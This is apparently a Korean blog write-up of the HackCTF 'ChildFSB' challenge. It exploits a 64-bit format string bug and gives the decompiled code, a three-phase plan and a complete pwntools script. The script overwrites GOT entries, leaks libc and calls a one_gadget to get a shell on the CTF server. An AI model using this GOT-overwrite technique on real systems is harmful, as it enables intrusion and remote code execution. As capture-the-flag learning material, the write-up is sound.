Pwnable/hackCTF

ChildFSB (64bit fsb)

원래 풀려던 방법으로는 실패해서 살짝 다르게 풀어보았는데 생각대로 한 번에 풀려서 다행이었다.

Writeup


File information


Code

Main

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf; // [rsp+0h] [rbp-20h]
  unsigned __int64 v5; // [rsp+18h] [rbp-8h]
​
  v5 = __readfsqword(0x28u);
  Init();
  puts("hello");
  read(0, &buf, 25uLL);
  printf(&buf, &buf);
  return 0;
}
  • Main함수의 역할은 다음과 같다.
    • read함수로 buf에 최대 25만큼 입력한다.
    • printf함수로 buf를 출력한다.(fsb발생)

Exploit

이전 단계 문제인 babyfsb에서 입력 크기를 줄인 문제이다.

최대 25만큼 입력할 수 있기 때문에 __stack_chk_fail의 got를 main으로 잡아두고 조금씩 여러 번 입력하는 방식으로 진행한다.

Exploit scenario

공격은 setbuf의 got를 조금씩 one_gadget주소로 바꾸어 최종적으로 setbuf 함수를 호출하면 one_gadget이 호출되도록 공격을 진행할 것이다.

진행은 크게 3 단계로 나뉜다.

First phase

  • __stack_chk_fail의 got를 main으로 overwrite 한다.
    • main 주소는 0x400780으로 잡아둔다.

Second phase

  • RET에 위치한 libc_start_main을 leak 하여 libc_base를 구한다.

Third phase

  • setbuf의 gof를 2바이트씩 총 4바이트 one_gadget 주소로 바꾸어 준다.
  • 이후 setbuf를 호출하면 onegadget이 호출된다.
  • 끝!

exploit code

유의할 점

  • 조금씩 offset이 바뀌니 확인해주는 것이 좋다.
  • 총 25만큼 읽는 것 조심하자 (sendlineafter는 마지막에 개행을 포함한다.)
  • 로컬 환경에서 디버깅 활용하여 진행하면 편하다.
from pwn import *p=remote("ctf.j0n9hyun.xyz",3037)
libc=ELF("./libc.so.6")

stack_chk_got = 0x601020
main = 0x400780
setbuf_got = 0x601028
call_setbuf = 0x400757

main_low = main & 0xffff
# offset 5
py = ''
py += '%{}c'.format(main_low)
py += '%8$hn'
py += 'A'*(8-len(py)%8)
py += p64(stack_chk_got)
p.sendlineafter("hello",py)

py2 = ''
py2 += '%12$p'
py2 += 'B'*(24-len(py2))
p.sendlineafter("hello",py2)

p.recvuntil("0x")
leak = int(p.recvuntil("B")[:-1],16)
libc_start_main = leak - 240
libc_base = libc_start_main - libc.symbols["__libc_start_main"]
one_gadget = libc_base + 0x45216

low = one_gadget & 0xffff
mid = (one_gadget >> 16) & 0xffff

# #offset 7
py3 = ''
py3 += "%{}c".format(low)
py3 += '%10$hn'
py3 += 'A'*(8-len(py3)%8)
print len(py3)
py3 += p64(setbuf_got)
py3 += 'A'*(24-len(py3))
p.sendlineafter("hello",py3)

# offset 8
py4 = ''
py4 += '%{}c'.format(mid)
py4 += '%11$hn'
py4 += 'A'*(8-len(py4)%8)
print len(py4)
py4 += p64(setbuf_got+2)
py4 += 'A'*(24-len(py4))
p.sendlineafter("hello",py4)

# offset 9 
call_setbuf_low = call_setbuf & 0xffff
py5 = ''
py5 += '%{}c'.format(call_setbuf_low)
py5 += '%12$hn'
py5 += 'A'*(8-len(py5)%8)
py5 += p64(stack_chk_got)
py5 += 'A'*(24-len(py5))
p.sendlineafter("hello",py5)

p.interactive()

'Pwnable > hackCTF' 카테고리의 다른 글

ChildHeap (double free, stdout leak)  (1) 2020.04.21
Adult_FSB (64bit fsb, exit)  (0) 2020.03.26
babyfsb (64bit fsb)  (0) 2020.03.23
you_are_silver (64bit fsb)  (0) 2020.03.21
훈폰정음  (0) 2020.03.10